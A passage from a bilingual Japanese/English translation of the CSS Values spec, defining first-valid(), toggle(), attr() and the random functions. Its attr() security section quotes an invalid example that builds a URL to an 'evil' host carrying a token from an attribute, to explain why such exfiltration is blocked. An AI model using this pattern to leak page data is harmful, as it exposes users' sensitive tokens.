しかしながら、 `var$f 関数(あるいは、構文解析した後に解決される類似な代用~関数)の利用は, この機能性を~~妨げる — そのような どの~propも,構文解析-時点では妥当と見做すことが要求されるので。 ◎ However, using var() (or similar substitution functions that resolve after parsing) thwarts this functionality; CSS UAs must assume any such property is valid at parse-time.
`first-valid@f `関数-記法$は、 ~fallback用の挙動を宣言の中に — その構文解析に内在的になるよう — ~inline化する。 ほとんどの記法と違って、 その各~引数は,妥当な構文も妥当でない構文も受容する — それは、 各~引数のうち,次を満たす最初のものを表現する ⇒ この記法を利用した~propの値~全体を成していたとするとき, ~UAにより~supportされる (妥当な値として構文解析される) ◎ The first-valid() functional notation inlines the fallback behavior intrinsic to parsing declarations. Unlike most notations, it can accept any valid or invalid syntax in its arguments, and represents the first value among its arguments that is supported (parsed as valid) by the UA as the whole value of the property it’s used in.
`first-valid()@t = first-valid( `declaration-value$t [ ';' `declaration-value$t ]* )
どの引数も当の~prop用の妥当な値を表現しない場合、 当の~propは,`算出d値の時点で無効$になる。 ◎ If none of the arguments represent a valid value for the property, the property is invalid at computed-value time.
`first-valid$f は `whole-value$t である。 ◎ first-valid() is a <whole-value>.
これは異なる名前にするべきか? — この関数を追加するものと解決されるまで, 【どう命名するか】裁定し切れなかった。 ◎ Should this have a different name? We didn’t quite decide on it during the resolution to add this.
6.3. 一連の値の~toggle法: `toggle^f
`toggle@f 式は、 子孫~要素たちが — 同じ値を継承する代わりに — ~listを成す各~値を巡回することを許容する。 ◎ The toggle() expression allows descendant elements to cycle over a list of values instead of inheriting the same value.
次の例は、 `em^e 要素を一般には~italic体にしつつ,~italic体の内側では~normal体に戻す: ◎ The following example makes <em> elements italic in general, but makes them normal if they’re inside something that’s italic:
em { font-style: toggle(italic; normal); }
次の例は、 入子な~list用に,~markerたちを巡回する。 ~marker図形は、 ~top-levelの~listにおいては `disc$v になり, その中に入子にされた~listにおいては — 階が深まるごとに — 順に[ `circle$v, `square$v, `box^v ]になり, ( 5 階の深さで)再び `disc$v から開始するようになる。 ◎ The following example cycles markers for nested lists, so that a top level list has disc-shaped markers, but nested lists use circle, then square, then box, and then repeat through the list of marker shapes, starting again (for the 5th list deep) with disc.
ul { list-style-type: toggle(disc; circle; square; box); }
`toggle$f 式の構文は: ◎ The syntax of the toggle() expression is:
`toggle()$t = toggle( `whole-value$t [ ';' `whole-value$t ]+ )
注記: この`関数-記法$が,引数どうしを — 典型的な~commaではなく — ~semicolonを利用して分離するのは、 各~値~自体が~commaを包含し得るからである。 ◎ Note: This functional notation uses semicolons to separate arguments rather than the more typical comma because the values themselves can contain commas.
`toggle$f 記法は、 `whole-value$t である。 しかしながら、 入子にできないことに加え,[ `attr$f / `calc$f ]記法も包含できない — そのような構成子を包含している宣言は無効になる。 ◎ The toggle() notation is a <whole-value>. However, it is not allowed to be nested, nor may it contain attr() or calc() notations; declarations containing such constructs are invalid.
次に挙げる `toggle$f 式は、 どれも無効になる: ◎ The following toggle() examples are all invalid:
background-position: 10px toggle(50px, 100px); /* `toggle$f は~propの値~全体を成していなければナラナイ。 ◎ toggle() must be the sole value of the property */ list-style-type: toggle(disc, 50px); /* `50px^v は `list-style-type$p 用の妥当な値でない。 ◎ 50px isn’t a valid value of 'list-style-type' */
`toggle$f 式 %式 の`算出d値$は、 次に従って決定される:
- %最初の値 ~LET ε
- %初回の反復か ~SET ~F
- %前回の反復で合致したか ~SET ~F
-
%式 の ~EACH( 引数 %引数 ) に対し,順に:
- %値 ~LET [ %引数 が %式 を利用している~propの値~全体を成していた ]とするとき,~propの`算出d値$を評価した結果
- ~IF[ %前回の反復で合致したか ~EQ ~T ] ⇒ ~RET %値
- ~IF[ %初回の反復か ~EQ ~T ] ⇒# %初回の反復か ~SET ~F; %最初の値 ~SET %値
- ~IF[ %値 ~EQ %式 を利用している~propの`継承d値$ ] ⇒ %前回の反復で合致したか ~SET ~T
- ~RET %最初の値
注記: したがって, `toggle$f 内で同じ値が繰返された場合、 ~listは短絡されることになる。 例えば, `toggle(1em; 2em; 1em; 4em)^v は、 `toggle(1em; 2em)^v と等価になる。 ◎ Note: This means that repeating values in a toggle() short-circuits the list. For example toggle(1em; 2em; 1em; 4em) will be equivalent to toggle(1em; 2em).
注記: `toggle$f は,明示的に親の算出d値を調べるので、 継承されない~propであっても働く。 このことは、 継承されない~propに対しても働く `inherit$v ~keywordと類似する。 ◎ Note: That toggle() explicitly looks at the computed value of the parent, so it works even on non-inherited properties. This is similar to the inherit keyword, which works even on non-inherited properties.
注記: ~propの`算出d値$は、 抽象的な[ 値たちが成す集合 ]であり,特定0の直列化ではない `CSS21$r ので、 算出d値どうしの比較は常に一義的になり, 期待される結果になるべきである。 例えば, `CSS21$r における `background-position$p の算出d値は、 各自が[ 絶対~長さ/百分率 ]として表現される 2 個の~offsetだけからなるので、[ 宣言 `background-position^p: `top center^v ]と[ 宣言 `background-position^p: `50% 0%^v ]が生産する算出d値は,一致する。 ~prop定義の “算出d値” の欄が何かを[ 多義的/厳密~過ぎ ]に定義すると見受けられる場合は、 修正できるよう`~feedback@#sotd$を供されたし。 ◎ Note: That the computed value of a property is an abstract set of values, not a particular serialization [CSS21], so comparison between computed values should always be unambiguous and have the expected result. For example, a Level 2 background-position computed value is just two offsets, each represented as an absolute length or a percentage, so the declarations background-position: top center and background-position: 50% 0% produce identical computed values. If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict, please provide feedback so we can fix it.
`toggle$f が`略式~prop$に利用された場合、 その各~下位propの値も `toggle$f 値になるが、 その各~引数は,元の `toggle$f 式の各~引数に対し[ それが当の略式~propの値~全体を成していたとするとき,下位propが受取ることになる値 ]に設定される。 ◎ If toggle() is used on a shorthand property, it sets each of its longhands to a toggle() value with arguments corresponding to what the longhand would have received had each of the original toggle() arguments been the sole value of the shorthand.
次の略式~prop宣言は: ◎ For example, the following shorthand declaration:
margin: toggle(1px 2px, 4px, 1px 5px 4px);
次の下位prop宣言と等価になる: ◎ is equivalent to the following longhand declarations:
margin-top: toggle(1px; 4px; 1px); margin-right: toggle(2px; 4px; 5px); margin-bottom: toggle(1px; 4px; 4px); margin-left: toggle(2px; 4px; 5px);
[ 上端~margin/下端~margin ]は、[ `1px^v / `4px^v ]が 2 回~現れているので, 2 個の値のみを巡回する。 一方で,[ 左端~margin/右端~margin ]は、 3 個の値を巡回することになる。 言い換えれば、 上の宣言から得られる算出d値は,次の下位prop宣言と同じになる: ◎ Note that, since 1px appears twice in the top margin and 4px appears twice in bottom margin, they will cycle between only two values while the left and right margins cycle through three. In other words, the declarations above will yield the same computed values as the longhand declarations below:
margin-top: toggle(1px; 4px); margin-right: toggle(2px; 4px; 5px); margin-bottom: toggle(1px; 4px); margin-left: toggle(2px; 4px; 5px);
その結果は、 意図されるものではなかろう。 ◎ which may not be what was intended.
6.4. 属性~参照: `attr^f 関数
`attr@f 関数は、[ それを利用している~propが適用される`要素$の ある`属性$ ]を参照し,その`属性$の値で`代用-$される ( `var$f 関数が`~custom~prop$の値で代用されるのと類似に)。 ◎ The attr() function substitutes the value of an attribute on an element into a property, similar to how the var() function substitutes a custom property value into a function.
attr() = attr(`attr-name$t `attr-type$t? , `declaration-value$t?) `attr-name@t = [ `ident-token$t '|' ]? `ident-token$t `attr-type@t = `string$v | `ident$v | `color$v | `number$v | `percentage$v | `length$v | `angle$v | `time$v | `frequency$v | `flex$v | `dimension-unit$t
`dimension-unit@t 生成規則は、 次に挙げるものに合致する: ◎ The <dimension-unit> production matches\
- ~literal `%^l (すなわち, .値 `%^l を伴う `delim-token$t ) ◎ a literal "%" character (that is, a <delim-token> with a value of "%")\
- `ident-token$t のうち,その .値 は[ `length$t / `angle$t / `time$t / `frequency$t / `flex$t ]値~用の~CSS単位( `px$u や `ms$u など )であるもの。 ◎ or an ident whose value is any of the CSS units for <length>, <angle>, <time>, <frequency>, or <flex> values (such as px or ms).
`attr$f の各~引数は: ◎ The arguments of attr() are:
- `attr-name$t
- 参照している属性の名前を与える — それは、 `wq-name$t `SELECTORS-3$r に類似するが、 それを成す最初の成分【名前空間~接頭辞】は,~wildcard【任意の名前空間を表現する `*^v 】をとり得ない。 ◎ Gives the name of the attribute being referenced, similar to <wq-name> (from [SELECTORS-3]) but without the possibility of a wildcard prefix.
- 名前空間が指定されなかった場合 ( `attr(foo)^v の様に,識別子だけが与えられた場合) ~NULL名前空間が含意される。 (名前空間を伴う属性は稀なので、 通例的には,これが欲されるものになる。 特に、[ ~HTML/~SVG ]には,名前空間を伴う属性は無い。) ◎ If no namespace is specified (just an identifier is given, like attr(foo)), the null namespace is implied. (This is usually what’s desired, as namespaced attributes are rare. In particular, HTML and SVG do not contain namespaced attributes.)\
- `属性~選択子$と同じく、 `attr-name$t が文字大小区別かどうかは,文書~言語に依存する。 ◎ As with attribute selectors, the case-sensitivity of <attr-name> depends on the document language.
- ある[ 要素/疑似要素 ]に適用される~propにて利用された `attr$f は、[ 当の要素/当の疑似要素の`出自の要素$ ]の所与の名前を伴う属性を参照する。 ◎ If attr() is used in a property applied to an element, it references the attribute of the given name on that element; if applied to a pseudo-element, the attribute is looked up on the pseudo-element’s originating element.
- `attr-type$t
- 参照された属性の値が,どの種類の~CSS値として解釈されるかを — および、 もしあれば,値に対し行われる特別な構文解析も — 指定する。 解釈した結果が当の `attr$f の `代用~値@ を与える。 ◎ Specifies what kind of CSS value the attribute’s value will be interpreted into (the attr()’s substitution value) and what, if any, special parsing will be done to the value.
- アリな値,それらの挙動は、 § `attr^f 型 にて定義される。 ◎ The possible values and their behavior are defined in § 5.4.1 attr() Types.
- 省略された場合、 `string$v が既定になる。 ◎ Defaults to string if omitted.
- `declaration-value$t
- ~fallback値を指定する — それは、 参照された属性[ が欠落な場合/ の値を指定された型として構文解析するのに失敗した場合 ]、 当の`attr$f は,この~fallback値で`代用-$されることになる。 ◎ Specifies a fallback value for the attr(), which will be substituted instead of the attribute’s value if the attribute is missing or fails to parse as the specified type.
- 省略された場合の既定の~fallback値は、 `attr-type$t 引数に応じて ⇒# `string$v ならば空~文字列になる/ ~ELSE_ `無効が保証される値$になる ◎ If the <attr-type> argument is string, defaults to the empty string if omitted; otherwise, defaults to the guaranteed-invalid value if omitted.
~propが包含している各 `attr$f 関数が,どれも構文上は妥当な場合、 ~prop全体の文法は,構文解析-時点では妥当であると見做すモノトスル。 構文は、 `attr^f 関数が`代用-$された後の算出d値の時点に限り,検査される。 ◎ If a property contains one or more attr() functions, and those functions are syntactically valid, the entire property’s grammar must be assumed to be valid at parse time. It is only syntax-checked at computed-value time, after attr() functions have been substituted.
注記:
~fallback値【!既定の値】の型は、
`attr-type$t 【!所与の型】と一致する必要は無いことに注意。
一例として、
作者により要求された属性の型が `px$u の場合でも,
~fallback値は `auto^v をとり得る
— `width$p: `attr(size px, auto)^v;
の様に。
◎
Note that the default value need not be of the type given. For instance, if the type required of the attribute by the author is px, the default could still be auto, like in width: attr(size px, auto);.
6.4.1. `attr$f 型
`attr$f 関数の挙動は、 `attr-type$t 引数の値にも依存する — 以下においては:
- %属性~値 は、 関数が参照している属性の値をそのまま表すとする。 (属性が欠落な場合、 上で述べたとおり~fallback値が利用されることになる)。
- %成分~値 は、 次の結果を表すとする ⇒ `成分~値を構文解析する$( %属性~値 ) (結果が構文-~errorならば、~fallback値が利用されることになる)
- `string@v
- `代用~値$は、 ~CSS文字列としての %属性~値 になる。 ( %属性~値 に対し遂行される~CSS構文解析や “整理” は無い。) ◎ The substitution value is a CSS string, whose value is the literal value of the attribute. (No CSS parsing or "cleanup" of the value is performed.)
- ~fallbackを誘発する値は無い。 ◎ No value triggers fallback.
- `ident@v
-
`代用~値$は、 %属性~値 から`前後の~ASCII空白~列を剥いだ$結果 %結果 に応じて:
- [ 空~文字列 / `~CSS全域~keyword$ / `default^v ]の場合は無い。 【おそらく,~ASCII文字無視。】
- 他の場合、 `custom-ident$t としての %結果 になる。 ( %結果 に対し遂行される~CSS構文解析は無い)。
- `color@v
- `代用~値$は、 %成分~値 が[ `hex-color$t である/ `ident-token$t であって,その.値は`有名~色$である ]ならば, %成分~値 が表現する `color$t になる。 ◎ Parse a component value from the attribute’s value. If the result is a <hex-color> or a named color ident, the substitution value is that result as a <color>.
- 他の場合、 `代用~値$は無い。 ◎ Otherwise there is no substitution value.
- `number@v
- `代用~値$は、 %成分~値 は `number-token$t であるならば, %成分~値 【が表現する `number$t 値(または `integer$t 値)】になる。 ◎ Parse a component value from the attribute’s value. If the result is a <number-token>, the result is the substitution value.
- 他の場合、 `代用~値$は無い。 ◎ Otherwise, there is no substitution value.
- `percentage@v
- `代用~値$は、 %成分~値 は `percentage-token$t であるならば, %成分~値 【が表現する `percentage$t 値】になる。 ◎ Parse a component value from the attribute’s value. If the result is a <percentage-token>, the result is the substitution value.
- 他の場合、 `代用~値$は無い。 ◎ Otherwise, there is no substitution value.
- `length@v
- `angle@v
- `time@v
- `frequency@v
- `flex@v
- `代用~値$は、[ %成分~値 は `dimension-token$t であって,その .単位 は所与の型に合致する ]ならば, %成分~値 【が表現する`次元$】になる。 ◎ Parse a component value from the attribute’s value. If the result is a <dimension-token> whose unit matches the given type, the result is the substitution value.
- 他の場合、 `代用~値$は無い。 ◎ Otherwise, there is no substitution value.
- `dimension-unit$t
- `代用~値$は、 %成分~値 は `number-token$t であるならば,[ %成分~値 の .値, 所与の単位 ]を伴う`次元$になる。 ◎ Parse a component value from the attribute’s value. If the result is a <number-token>, the substitution value is a dimension with the result’s value, and the given unit.
- 他の場合、 `代用~値$は無い。 ◎ Otherwise, there is no substitution value.
`attr^f の`代用~値$として,[
すべての数量-型~用には`~math関数$/
“色” 用には色~関数
]を許容するよう求まれるか?
編集者は そう~~考えているが、
代用~値が更に参照~関数を包含していないことを確かめるため,内容を検査する必要もある
— `foo^a="`rgb(var(--red), 0, 0)^v"
は、
`attr(foo color)^v 用には違法になる必要がある。
◎
Do we want to allow math functions as attr values for all the numeric types? And color functions for "color"? I think we do, but I’d have to check the contents to make sure they don’t contain further reference functions; foo="rgb(var(--red), 0, 0)" needs to be illegal for attr(foo color).
`attr$f を利用して, ~XML~file内の~dataを視覚的に~~説明する例: ◎ This example shows the use of attr() to visually illustrate data in an XML file:
`attr-types-1^xCode6.4.2. `attr$f の代用
`attr$f と `var$f は,同時に代用されるので、 “`var$f を`代用する@~CSSVAR#substitute-a-var$” は,おそらく[ これらの関数どちらにも利用される,より一般な “参照を代用する” ]に書き直すべきである。 ◎ attr() and var() substitute at the same time, so I should probably rewrite substitute a var() to be more generally about "substitute a reference" and just use that for both of these functions.
`attr$f 関数は、 算出d値の時点で`代用-$される。 所与の宣言が, すべての `attr^f 関数が代用された後において文法に合致しない場合、 当の宣言は,`算出d値の時点で無効$になる。 ◎ attr() functions are substituted at computed-value time. If a declaration, once all attr() functions are substituted in, does not match its declared grammar, the declaration is invalid at computed-value time.
`attr$f 関数 %関数 を `代用する@ ときは: ◎ To substitute an attr():
- ~IF[ %関数 に`代用~値$は在る ] ⇒ %関数 を`代用~値$で置換する ◎ If the attr() function has a substitution value, replace the attr() function by the substitution value.
-
~ELIF[ %関数 の最後の引数として~fallback値 %~fallback は在る ]:
- %~fallback 内の ~EACH( [ `var$f / `attr$f ] 参照 %参照 ) に対し ⇒ %~fallback 内の %参照 を[ `代用する@~CSSVAR#substitute-a-var$/`代用する$ ]
- %関数 を %~fallback で置換する
- ~ELSE ⇒ %関数 を利用している~propは、 `算出d値の時点で無効$になる ◎ Otherwise, the property containing the attr() function is invalid at computed-value time.
6.4.3. ~security
`attr$f 関数が参照する属性は、 当の~pageにより~style付け用に利用されるものとは決して意図されない,敏感な情報 (例:~page上の~scriptにより利用される~security~token) を包含するかもしれない。 ◎ An attr() function can reference attributes that were never intended by the page to be used for styling, and might contain sensitive information (for example, a security token used by scripts on the page).
これは、 一般には,~~問題にならない。 ほとんどの状況下では、 `attr$f を利用しても,[ ~pageから情報を抽出して,それを敵対的な主体へ送信する ]ことは困難なので。 例外は、 ~URLである。 第三者-主体~CSSが許容される下で、 純粋に~CSSから,ある~URLを任意な属性の値で構築できた場合、 属性~内に格納された情報は,敵対的な主体へ容易に送信できるようになる。 ◎ In general, this is fine. It is difficult to use attr() to extract information from a page and send it to a hostile party, in most circumstances. The exception to this is URLs. If a URL can be constructed with the value of an arbitrary attribute, purely from CSS, it can easily send any information stored in attributes to a hostile party, if 3rd-party CSS is allowed at all.
この理由から、 `attr$f は `url$t 型にならないことに加え, `url$t 値~内に `attr$f を利用することも — 直接間接を問わず — 許容されない。 そのような `attr^f を利用した~propは、 無効になる。 ◎ For this reason, attr() does not have a url type. Additionally, attr() is not allowed to be used in any <url> value, whether directly or indirectly. Doing so makes the property it’s used in invalid.
例えば,次に挙げるものは、 いずれも無効になる: ◎ For example, all of the following are invalid:
- `background-image: src(attr(foo))$p ⇒ 直に利用できない。 ◎ background-image: src(attr(foo)); - can’t use it directly.
- `background-image: image(attr(foo))$p ⇒ `url$t をとる他の関数~内でも,利用できない。 ◎ background-image: image(attr(foo)) - can’t use it in other <url>-taking functions.
- `background-image: src(string("http://example.com/evil?token=" attr(foo)))$p ⇒ 別の関数を通しても,値を “洗浄-” できない。 ◎ background-image: src(string("http://example.com/evil?token=" attr(foo))) - can’t "launder" it thru another function.
- `--foo:attr(foo)^p ( `--foo^p は文字列~構文を伴う`登録-済み~custom~prop$とする) が宣言された下での, `background-image:src(var(--foo))^p ⇒ 別の~propを通しても,値を洗浄できない。 ◎ --foo: attr(foo); background-image(src(var(--foo))) (assuming that --foo is a registered custom property with string syntax) - can’t launder the value thru another property, either.
注記: この制約を実装するためには、 `attr$f 値から構築された値に対し,~dirty~bit【洗浄されたか否か】を追跡することが要求される — それらは、 `登録-済み~custom~prop$を介して,全部的に文字列へ解決され得るので、 表出された値を精査するだけには依拠できないので。 非-文字列~型でも、 他の型の値を文字列~化し得る関数 — `string^f【`string@~CSSCONTENT#funcdef-string$f?】 など — を介して,これを誘発し得ることに注意: `--foo:attr(foo number)^p が宣言されていたなら, `background-image:src(string(var(--foo)))^p も無効になる必要がある。 ◎ Note: Implementing this restriction requires tracking a dirty bit on values constructed from attr() values, since they can be fully resolved into a string via registered custom properties, so you can’t rely on just examining the value expression. Note that non-string types can even trigger this, via functions like string() that can stringify other types of values: --foo: attr(foo number); background-image: src(string(var(--foo))) needs to be invalid as well.
7. ~randomな値の生成-法
設計に ある程度の “~random性” を組入れると有用になることが多い — 同じ~page内で繰返される要素に多少の “ゆらぎ” が感じられるようにしたり, ~pageに気が散らないほどの “華を添える” ために。 ◎ It is often useful to incorporate some degree of "randomness" to a design, either to make repeated elements on a page feel less static and identical, or just to add a bit of "flair" to a page without being distracting.
`~random関数@ と総称される[ `random$f, `random-item$f ]関数は、 作者が[ 自身の~pageの中へ~random性を組入れる ]ことを許容する — それは、[ この~random性を設計~視点からは予測-可能に保つ ]一方で, ~randomな値を[ 複数箇所で再利用するべきか,~instanceごとに一意になるべきか ]は作者に裁定してもらう。 ◎ The random() and random-item() functions (the random functions) allow authors to incorporate randomness into their page, while keeping this randomness predictable from a design perspective, letting authors decide whether a random value should be reused in several places or be unique between instances.
~randomな数-を生成する正確な手法は、 ~UAにより定義される。 2 つの別個な~random値の相関は,容易に検出-可能になる`べきではない^emが、 この仕様は,[ それが暗号-強度の用語で何を意味するか ]は意図的に指定しない。 作者は、 高品質な暗号に依存する目的においては, `~random関数$に依拠しては`ナラナイ^em。 ◎ The exact random-number generation method is UA-defined. It should be the case that two distinct random values have no easily-detectable correlation, but this specification intentionally does not specify what that means in terms of cryptographic strength. Authors must not rely on random functions for any purposes that depend on quality cryptography.
7.1. ~randomな数量-値の生成-法: `random^f 関数
`random@f 関数は、 `~math関数$であり, ある範囲内で一様に分布する~randomな値を表現する。 【以下、この節に現れる~randomは,一様(すべての値は、同じ~~確率で選ばれる)と見做される。】 それはまた、 任意選択で,アリな値を[ 最小~値からの差が,ある段差の整数倍になる ]よう制限できる。 その構文は: ◎ The random() function is a math function that represents a random value between a minimum and maximum value, drawn from a uniform distribution, optionally limiting the possible values to a step between those limits:
`random()^t = random( `random-caching-options$t? , `calc-sum$t, `calc-sum$t, [by `calc-sum$t]? ) `random-caching-options@t = `dashed-ident$t || per-element
その引数たちは: ◎ Its arguments are:
- `random-caching-options$t
- 省略可能な この引数は、 当の `random$f 関数が[ ~page上の他の `random^f 関数と類似に解決されるか否か ]に対する,いくぶんの制御を供する。 詳細は、 `§ ~randomな値の生成-法/~cache法@#random-caching$ を見よ。 ◎ The optional <random-caching-options> provides some control over whether a given random() function resolves similarly or differently to other random()s on the page. See § 7.3 Generating/Caching Random Values: the <random-caching-options> value for details.
-
注記: `random$f 関数は: ◎ ↓
- この引数が省略された場合、[ それを含んだ~styleを利用している要素~すべて ]から共有される単独の値に解決される。 2 つの `random^f 関数は、 互いの引数たちがすべて一致するならば,同じ~randomな値に解決されることになる。 ◎ By default, random() resolves to a single value, shared by all elements using that style, and two random() functions with identical arguments will resolve to the same random value.
- この引数に `dashed-ident$t が供された場合、[ 他の引数は一致する他の `random$f 関数 ]とは別物にして,別個な値を生成させる。 ◎ Providing a <dashed-ident> does nothing, but can make the argument lists distinct between two or more otherwise-identical random() functions, so they’ll generate distinct values.
- この引数に `per-element^v ~keywordが供された場合、 当の関数が適用される`要素ごと^emに異なる値を生成させる — ~stylesheet内での各利用ごとに単独の値に解決されるのではなく。 ◎ The per-element keyword causes the random() function to generate a different value on each element the function is applied to, rather than resolving to a single value per usage in the stylesheet.
- `calc-sum$t, `calc-sum^t
- これら 2 個の要求される`計算式$は、 順に,当の関数を解決した結果がとり得る範囲の[ 最小~値, 最大~値 ]を指定する。 ◎ The two required calculations specify the minimum and maximum value the function can resolve to. Both limits are inclusive (the result can be the min or the max).
- [ 最大~値 ~LTE 最小~値 ]の場合、 最大~値は最小~値と等しいものとして挙動する。 ◎ If the maximum value is less than the minimum value, it behaves as if it’s equal to the minimum value.
- 例えば, `random(100px, 300px)^v は、 `100px^v 以上 `300px^v 以下の~randomな `length$t に解決されることになる。 ◎ For example, random(100px, 300px) will resolve to a random <length> between 100px and 300px: it might be 100px, 300px, or any value between them like 234.5px.
- `by^v `calc-sum$t
- 省略可能な最後の引数は、 段差~値を指定する。 当の関数を解決した結果は、 最小~値からの差が段差の整数倍になるよう制約され, そこから~randomに選ばれる。 ◎ The final optional argument specifies a step value: the values the function can resolve to are further restricted to the form min + (N * step), where N is a non-negative integer chosen uniformly randomly from the possible values that result in an in-range value.
-
例えば、 `random(100px, 300px, by 50px)^v を解決した結果は,[ `100px^v, `150px^v, `200px^v, `250px^v, `300px^v ]いずれかに限られ、 `120px^v 様な値を返すことは決してない。 ◎ For example, random(100px, 300px, by 50px) can only resolve to 100px, 150px, 200px, 250px, or 300px; it will never return a value like 120px.
結果が最小~値になることは,常にアリな一方、 最大~値になることは — 最小~値との差が段差の整数倍である場合を除き — アリでない。 例えば,[ `random(100px, 300px, by 30px)^v を解決した結果 ]としてアリな最~大な値は、 `280px^v ( ~EQ 最小~値 ~PLUS 段差 ~MUL 6 )になる。 ◎ While the minimum value is always a possible result, the maximum value isn’t always, if it’s not also a multiple of the step from the minimum. For example, in random(100px, 300px, by 30px), the largest possible value it can resolve to is 280px, 6 steps from the minimum value.
これには、 丸ngが影響し得ることに注意: `random(100px, 200px, by 100px / 3)^v にアリな値は, 3 通り — `100px^v, 約 `133.33px^v, 約 `166.67px^v — 以上はあるが、 `200px^v がアリになるかどうかは,丸ngの精度に依存する。 安全になるためには、 最大~値を期待される最~大な値より`少し大きく^emすればよい — `random(100px, 201px, by 100px / 3)^v の様に。 ◎ Note that rounding issues might have an effect here: in random(100px, 200px, by 100px / 3) you’ll definitely get three possible values (100px, and approximately 133.33px and 166.67px), but whether 200px is possible depends on rounding precision. To be safe, you can put the maximum value slightly above where you expect the final step to land, like random(100px, 201px, by 100px / 3).
-
`round$f の定義にて説明したとおり,~CSSの値には “生来な” 精度は無いが、 段差~値を利用すれば,精度をアテガえる — 例えば:
- `random(100px, 500px, by 1px)^v は、 解決した結果を `1px^v の整数倍に限るよう制約する。
- `random(1, 10, by 1)^v は、 解決した結果を整数に限るよう制約する。
- 注記: 段差の定義は、 素朴に[ 範囲~内の~randomな値を生成した結果を最も近い段差~値に丸める ]ことを許容するもの`ではない^em — そうすると、 結果の各~値は,同じ~~確率で現れなくなるので。 例えば, `random(100px, 200px, by 50px)^v は、 アリな 3 通りの値を同じ 1/3 の~~確率で生成する必要がある — 素朴な丸ngに基づく手法は、 `150px^v を[ 両端を成す他の値 ]の 2 倍の~~確率で生成するので,不正である。 ◎ Note: The definition of the step does not allow for naively generating a random value in the range and then rounding it to the nearest step value, as that can result in the values not appearing with the same weights. For example, random(100px, 200px, by 50px) has to generate the three possible values each with a 1/3 chance; a naive rounding-based method will instead incorrectly generate 150px twice as often as the boundary values.
入力を成す`計算式$たち %計算式たち は、 それを成す各~計算式は[ `number$t / `dimension$t / `percentage$t ]いずれにも解決され得るが, `一貫した型を有して$いなければナラナイ 【!but must have the same type(おそらく更新漏れ)】 — さもなければ、 当の関数は無効になる。 当の関数の`型$は、 %計算式たち の`一貫した型$になる 【!have the same type as(おそらく更新漏れ)】。 ◎ All of the calculation arguments can resolve to any <number>, <dimension>, or <percentage>, but must have the same type, or else the function is invalid; the result will have the same type as the arguments.
例えば: ◎ For example,\
- `random(50px, 100%, by 1em)^v は、 百分率は[ これを利用した文脈において妥当である ]かつ[ `length$t に解決される ]と見做すならば,妥当になる — どの引数も,長さに解決されるので。 ◎ random(50px, 100%, by 1em) is valid (assuming percentages are valid in the context this is used, and resolve to a <length>), as all three arguments resolve to a length.
- `random(50px, 180deg)^v は、 長さと角度が同じ`型$ではないので,妥当でない。 ◎ However, random(50px, 180deg) is invalid, as lengths and angles are not the same type.
`random$f 関数は、 引数として与えた`計算式$を数量-値に単純~化できるようになり次第, `単純~化@~CSSVAL#simplify-a-calculation-tree$できる。 ◎ A random() function can be simplified as soon as its argument calculations can be simplified to numeric values.
注記: このことは、[ `random$f は、 `通例的には^em `算出d値$の時点で解決されるので,静的な数量-値として継承される ]ことを意味する。 しかしながら, 引数として与えた`計算式$が`使用~値$の時点まで解決されない場合 ( `percentage$t 値を含んでいて,解決するためには~layout情報が要求される場合など)、 `継承$は `random$f 関数~自体を転送することになる (しかしながら,これは、 `percentage$t 自身の挙動と異なるものでない — それは、 `percentage$t として継承されるので, 子~要素~上では異なる値に解決されるかもしれない)。 ◎ Note: This means that random() is usually resolved by computed value time, and thus will inherit as a static numeric value. However, if the argument calculations aren’t resolved until used value time (such as if they include <percentage> values that require layout information to resolve), inheritance will transfer the random() function itself. (This is no different, however, to the behavior of the <percentage>s themselves, which would inherit as <percentage>s and thus might resolve to different values on the child elements.)
少なくとも理論~上は、
`per-element^v が指定されない限り,
`random$f を~prop以外の文脈で利用しても大丈夫なはずである。
例えば、
`media^at (max-width: random(100px, 500px)) {...}
で何が起こるかは,きちんと定義される。
とは言え、
それを許容することが求まれるのかどうかは,疑わしい。
◎
At least in theory it should be fine to use random() in non-property contexts, so long as per-element isn’t specified; it’s well-defined what happens with @media (max-width: random(100px, 500px)) {...}, for example. I suspect we want to disallow it, tho?
7.1.1. 引数の範囲
`random(A, B, by C)^f においては: ◎ In random(A, B, by C),\
- %A, %B いずれかが無限である場合, 結果は ~NaN になる。 ◎ if A or B is infinite, the result is NaN.\
-
%C が無限である場合, 結果は %A になる。 ◎ If C is infinite, the result is A.
( %C ~LTE 0 の場合、 標準な定義から外れるが,結果は %A になる。) ◎ (If C is zero or negative, the result is A, but that falls out of the standard definition.)
注記: 通例の`~math関数$と同じく、 いずれかの計算式~引数が ~NaN になる場合, 結果は~NaNになる。 ◎ Note: As usual for math functions, if any argument calculation is NaN, the result is NaN.
7.2. ~listから~randomな~itemを選び取る: `random-item$f 関数
`random-item@f 関数は、 2 個目以降の引数たちが成す~listから~randomに選ばれる~itemに解決される。 ◎ The random-item() function resolves to a random item from among its list of items.
`random-item()$t = random-item( `random-caching-options$t ';' `declaration-value$t? [ ';' `declaration-value$t? ]* )
この関数においては、 `random-caching-options$t は`要求される^em。 それは、 `random$f のときと同じに解釈される (詳細は、 `§ ~randomな値の生成-法/~cache法@#random-caching$ を見よ)。 ◎ The required <random-caching-options> is interpreted identically to random(). (See § 7.3 Generating/Caching Random Values: the <random-caching-options> value for details.)
注記: `random$f と同様に、[ `dashed-ident$t / `per-element^v ]を利用すれば,[ 類似な `random-item$f 関数たちが別個な~random値を生成する/ 要素ごとに別個な値に解決される ]よう強制できる。 ◎ Like random(), the <dashed-ident> can be used to force similar random-item() functions to generate distinct random values, and per-element causes it to resolve to a distinct value on each element.
これらは別として、 `random-item$f 関数たちの~group分けは, `random$f より ずっと単純である — 関数どうしが “一致するか” どうかは、 引数の個数のみに基づく。 ◎ Aside from these, the grouping of random-item() functions as "identical" is much simpler: all that matters is the number of arguments.
すなわち, `random-item(--x; red; blue; green)^v と `random-item(--x; 1; 2; 3)^v は、 常に同じ引数~indexに解決され,[ `red$v, `1^v / `blue$v, `2^v / `green$v, `3^v ]いずれかになる。 これは、[ ~randomな値たちが成す集合を利用するよう求まれる~prop ]たちが成す~groupどうしの協調を許容する。 ◎ That is, random-item(--x; red; blue; green) and random-item(--x; 1; 2; 3) will always resolve to the same argument index: either red and 1, or blue and 2, or green and 3. This allows coordination between groups of properties that all want to use a random set of values.
他方、 `random-item(--x; red; blue; green)^v と `random-item(--x; 1; 2; 3; 4)^v には何ら繋がりはなく, 12 通りある どの組合nも生じ得る。 ◎ On the other hand, random-item(--x; red; blue; green) and random-item(--x; 1; 2; 3; 4) will have no connection to each other; any of the 12 possible combinations can occur.
